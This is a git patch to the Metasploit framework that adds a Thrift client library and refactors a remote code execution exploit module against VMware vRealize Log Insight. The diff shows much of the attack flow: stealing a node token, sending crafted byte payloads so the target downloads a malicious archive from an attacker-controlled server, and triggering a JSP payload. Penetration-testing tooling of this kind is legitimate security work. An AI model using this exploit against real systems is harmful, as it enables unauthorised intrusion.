From fbf95ecd92bc802f75474b7293bcbfafa7921616 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 11 Sep 2023 12:40:19 -0400 Subject: [PATCH] Add and use a Thrift client object --- .../exploit/linux/http/vmware_vrli_rce.md | 7 +- lib/rex/proto/thrift.rb | 3 + lib/rex/proto/thrift/client.rb | 120 ++++++++++++++++++ lib/rex/proto/thrift/error.rb | 21 +++ .../exploits/linux/http/vmware_vrli_rce.rb | 70 +++------- 5 files changed, 164 insertions(+), 57 deletions(-) create mode 100644 lib/rex/proto/thrift/client.rb create mode 100644 lib/rex/proto/thrift/error.rb diff --git a/documentation/modules/exploit/linux/http/vmware_vrli_rce.md b/documentation/modules/exploit/linux/http/vmware_vrli_rce.md index 09320c9e99..846acbfeee 100644 --- a/documentation/modules/exploit/linux/http/vmware_vrli_rce.md +++ b/documentation/modules/exploit/linux/http/vmware_vrli_rce.md @@ -42,11 +42,8 @@ After these steps, the web portal (port 80/443) and Apache thrift service (port ### THRIFT_PORT This is the Thrift service port for VMware xRealize Log Insight. -### THRIFT_TIMEOUT -This value represents the timeout duration for thrift service responses. - -## WaitForResponseTimeout -This value represents timeout duration in seconds for RemotePakDownload command response. +### ThriftTimeout +Thrift response and connection timeout duration. ## WaitForUpgradeDuration This value represents the duration of wait after issuing a PakUpgrade command. diff --git a/lib/rex/proto/thrift.rb b/lib/rex/proto/thrift.rb index fbdbfacdee..0ea411f17b 100644 --- a/lib/rex/proto/thrift.rb +++ b/lib/rex/proto/thrift.rb @@ -53,4 +53,7 @@ module Rex::Proto::Thrift string ThriftDataType::T_UTF7 end end + + require 'rex/proto/thrift/client' + require 'rex/proto/thrift/error' end diff --git a/lib/rex/proto/thrift/client.rb b/lib/rex/proto/thrift/client.rb new file mode 100644 index 0000000000..32f6c7f74a --- /dev/null +++ b/lib/rex/proto/thrift/client.rb @@ -0,0 +1,120 @@ +class Rex::Proto::Thrift::Client + include Rex::Proto::Thrift + + # @return [String] The Thrift server host. + attr_reader :host + + # @return [Integer] The Thrift server port. + attr_reader :port + + # @return [Boolean] Whether or not SSL is used for the connection. + attr_reader :ssl + + # @return [Rex::Socket::Comm] An optional, explicit object to use for creating the connection. + attr_reader :comm + + # @!attribute timeout + # @return [Integer] The communication timeout in seconds. + attr_accessor :timeout + + def initialize(host, port, context: {}, ssl: false, ssl_version: nil, comm: nil, timeout: 10) + if port.nil? + port = ssl ? 5671 : 5672 + end + + @host = host + @port = port + @context = context + @ssl = ssl + @ssl_version = ssl_version + @comm = comm + @timeout = timeout + end + + # Establish the connection to the remote server. + # + # @param [Integer] t An explicit timeout to use for the connection otherwise the default will be used. + # @return [NilClass] + def connect(t = -1) + timeout = (t.nil? or t == -1) ? @timeout : t + + @conn = Rex::Socket::Tcp.create( + 'PeerHost' => @host, + 'PeerPort' => @port.to_i, + 'Context' => @context, + 'SSL' => @ssl, + 'SSLVersion' => @ssl_version, + 'Timeout' => timeout, + 'Comm' => @comm + ) + + nil + end + + # Close the connection to the remote server. + # + # @return [NilClass] + def close + if @conn && !@conn.closed? + @conn.shutdown + @conn.close + end + + @conn = nil + end + + def send_raw(data) + @conn.put([data.length].pack('N') + data) + end + + def recv_raw(timeout: @timeout) + remaining = timeout + frame_size, elapsed_time = Rex::Stopwatch.elapsed_time do + @conn.get_once(4, remaining) + end + remaining -= elapsed_time + if frame_size.nil? || frame_size.length < 4 + raise Rex::TimeoutError, 'Failed to read the response data length due to timeout.' + end + + frame_size = frame_size.unpack1('N') + body = '' + while (body.size < frame_size) && remaining > 0 + chunk, elapsed_time = Rex::Stopwatch.elapsed_time do + @conn.read(frame_size - body.size, remaining) + end + remaining -= elapsed_time + body << chunk + end + + unless body.size == (frame_size) + if remaining <= 0 + raise Rex::TimeoutError, 'Failed to read the response data due to timeout.' + end + + raise Error::InvalidFrameError.new + end + + body + end + + def call_raw(method_name, *data, timeout: @timeout) + tx_header = ThriftHeader.new(method_name: method_name, message_type: ThriftMessageType::CALL) + tx_data = data.map do |part| + part.is_a?(BinData::Struct) ? part.to_binary_s : part + end + + send_raw(tx_header.to_binary_s + tx_data.join) + rx_data = recv_raw(timeout: timeout) + rx_header = ThriftHeader.read(rx_data) + unless rx_header.message_type == ThriftMessageType::REPLY + raise Error::UnexpectedReplyError.new(rx_header, 'The received header was not a REPLY message.') + end + + unless rx_header.method_name == method_name + raise Error::UnexpectedReplyError.new(rx_header, 'The received header was not to the expected method.') + end + + rx_data[rx_header.num_bytes..] + end +end diff --git a/lib/rex/proto/thrift/error.rb b/lib/rex/proto/thrift/error.rb new file mode 100644 index 0000000000..f340626232 --- /dev/null +++ b/lib/rex/proto/thrift/error.rb @@ -0,0 +1,21 @@ +module Rex::Proto::Thrift::Error + # Base class of Thrift-specific errors. + class ThriftError < Rex::RuntimeError + end + + # Raised when trying to parse a frame that is invalid. + class InvalidFrameError < ThriftError + def initialize(msg='Invalid Thrift frame data was received and could not be parsed.') + super(msg) + end + end + + # Raised when an unexpected reply is received. + class UnexpectedReplyError < ThriftError + attr_reader :reply + def initialize(reply, msg='An unexpected Thrift reply was received.') + @reply = reply + super(msg) + end + end +end diff --git a/modules/exploits/linux/http/vmware_vrli_rce.rb b/modules/exploits/linux/http/vmware_vrli_rce.rb index 5b8ce39b35..44cf8b9fdb 100644 --- a/modules/exploits/linux/http/vmware_vrli_rce.rb +++ b/modules/exploits/linux/http/vmware_vrli_rce.rb @@ -16,8 +16,6 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::FileDropper # includes register_files_for_cleanup prepend Msf::Exploit::Remote::AutoCheck - Thrift = Rex::Proto::Thrift - def initialize(info = {}) super( update_info( @@ -87,14 +85,13 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(443), OptPort.new('THRIFT_PORT', [true, 'Thrift service port', 16520]), - OptInt.new('THRIFT_TIMEOUT', [true, 'Timeout duration for thrift service', 10]), OptString.new('TARGETURI', [true, 'The URI of the VRLI web service', '/']) ] ) register_advanced_options( [ - OptInt.new('WaitForResponseTimeout', [ true, 'The timeout in seconds for RemotePakDownload response', 10 ]), + OptInt.new('ThriftTimeout', [ true, 'Thrift response and connection timeout duration', 10 ]), OptInt.new('WaitForUpgradeDuration', [ true, 'The sleep duration in seconds for PakUpgrade process', 2 ]) ] ) @@ -251,7 +248,7 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - # This is important check... + # This is an important check... fail_with(Failure::BadConfig, 'SRVHOST can\'t be localhost') if datastore['SRVHOST'] =~ /(127|0)\.0\.0\.(0|1)|localhost/ # Step 1 generate malicious TAR archive @@ -263,33 +260,28 @@ class MetasploitModule < Msf::Exploit::Remote start_service('Path' => "/#{file_name}.tar") # Connect to the Apache Thrift service - @tsock = Rex::Socket.create_tcp('PeerHost' => datastore['RHOST'], 'PeerPort' => datastore['THRIFT_PORT']) - fail_with(Failure::Unreachable, "#{peer}:#{datastore['THRIFT_PORT']} - Could not connect to the thrift service") if @tsock.nil? + thrift_client = Rex::Proto::Thrift::Client.new( + target_host, + datastore['THRIFT_PORT'], + context: { 'Msf' => framework, 'MsfExploit' => self }, + timeout: datastore['ThriftTimeout'] + ) + thrift_client.connect # Step 2 obtain node token print_status 'Fetching thrift config...' - send_request([ - Thrift::ThriftHeader.new(method_name: 'getConfig', message_type: Thrift::ThriftMessageType::CALL) - ].map(&:to_binary_s).join + "\x0c\x00\x01\x00\x00") - - config = recv_response(datastore['THRIFT_TIMEOUT']) - fail_with(Failure::UnexpectedReply, 'getConfig thrift call failed') if config.nil? + config = thrift_client.call_raw('getConfig', "\x0c\x00\x01\x00\x00".b) token = config.match(/[0-9a-z]{8}-([0-9a-z]{4}-){3}[0-9a-z]{12}/).to_s fail_with(Failure::UnexpectedReply, 'Could not obtain node token') if token.nil? || token.empty? print_good "Obtained node token: #{token}" print_status 'Sending getNodeType...' - send_request([ - Thrift::ThriftHeader.new(method_name: 'getNodeType', message_type: Thrift::ThriftMessageType::CALL) - ].map(&:to_binary_s).join + "\x00") + thrift_client.call_raw('getNodeType', "\x00".b) # Step 3 download the malicious pak serve_address = "http://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['SRVPORT'])}/#{file_name}.tar" print_status 'Sending RemotePakDownloadCommand...' - download_pak_req = "\x80\x01\x00\x01" - download_pak_req += "\x00\x00\x00\x0a\x72\x75\x6e\x43" - download_pak_req += "\x6f\x6d\x6d\x61\x6e\x64\x00\x00" - download_pak_req += "\x00\x00\x0c\x00\x01\x0c\x00\x01" + download_pak_req = "\x0c\x00\x01\x0c\x00\x01" download_pak_req += "\x08\x00\x01\x00\x00\x00\x09\x0c" download_pak_req += "\x00\x0a\x0b\x00\x01" download_pak_req += [token.length].pack('N') + token + "\x0b\x00\x02" @@ -297,19 +289,14 @@ class MetasploitModule < Msf::Exploit::Remote download_pak_req += "\x0b\x00\x03" + [file_name.length].pack('N') + file_name download_pak_req += "\x00\x00\x0a\x00\x02\x00\x00" download_pak_req += "\x00\x00\x00\x00\x07\xd0\x00\x00" - send_request(download_pak_req) - download_resp = recv_response(datastore['THRIFT_TIMEOUT']) - fail_with(Failure::UnexpectedReply, 'RemotePakDownloadCommand thrift call failed') if download_resp.nil? + thrift_client.call_raw('runCommand', download_pak_req) retry_until_truthy(timeout: datastore['ReconnectTimeout'].to_i) do @got_request end # Step 4 trigger pak upgrade print_status 'Sending PakUpgradeCommand...' - pak_upgrade_req = "\x80\x01\x00\x01" - pak_upgrade_req += "\x00\x00\x00\x0a\x72\x75\x6e\x43" - pak_upgrade_req += "\x6f\x6d\x6d\x61\x6e\x64\x00\x00" - pak_upgrade_req += "\x00\x00\x0c\x00\x01\x0c\x00\x01" + pak_upgrade_req = "\x0c\x00\x01\x0c\x00\x01" pak_upgrade_req += "\x08\x00\x01\x00\x00\x00\x08\x0c" pak_upgrade_req += "\x00\x09\x0b\x00\x01" + [pak_name.length].pack('N') pak_upgrade_req += pak_name + "\x02\x00\x02\x00" @@ -319,8 +306,7 @@ class MetasploitModule < Msf::Exploit::Remote pak_upgrade_req += "\x6e\x67\x02\x00\x06\x00\x00\x00" pak_upgrade_req += "\x0a\x00\x02\x00\x00\x00\x00\x00" pak_upgrade_req += "\x00\x07\xd0\x00\x00" - send_request(pak_upgrade_req) - upgrade_resp = recv_response(datastore['THRIFT_TIMEOUT']) + upgrade_resp = thrift_client.call_raw('runCommand', pak_upgrade_req) fail_with(Failure::UnexpectedReply, 'PakUpgradeCommand thrift call failed') if upgrade_resp.nil? || !upgrade_resp.to_s =~ 'The PAK file is corrupted' print_good 'PakUpgrade request is successful' print_status "Waiting #{datastore['WaitForUpgradeDuration']} second for PakUpgrade..." @@ -328,7 +314,7 @@ class MetasploitModule < Msf::Exploit::Remote # Step 5 trigger the JSP payload. print_status "#{peer} - Triggering JSP payload..." - disconnect + thrift_client.close res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'rest-api', 'v5'), @@ -336,27 +322,7 @@ class MetasploitModule < Msf::Exploit::Remote }) fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200 - end - - def send_request(request) - @tsock.put([request.length].pack('N') + request) - end - - def recv_response(timeout) - remaining = timeout - res_size, elapsed = Rex::Stopwatch.elapsed_time do - @tsock.timed_read(4, remaining) - end - - remaining -= elapsed - return nil if res_size.nil? || res_size.length != 4 || remaining <= 0 - - res = @tsock.timed_read(res_size.unpack1('N'), remaining) - - return nil if res.nil? || res.length != res_size.unpack1('N') - - return res_size + res - rescue Timeout::Error - return nil + rescue Rex::Proto::Thrift::Error::InvalidFrameError, Rex::Proto::Thrift::Error::UnexpectedReplyError => e + fail_with(Failure::UnexpectedReply, "#{peer} - #{e}") end end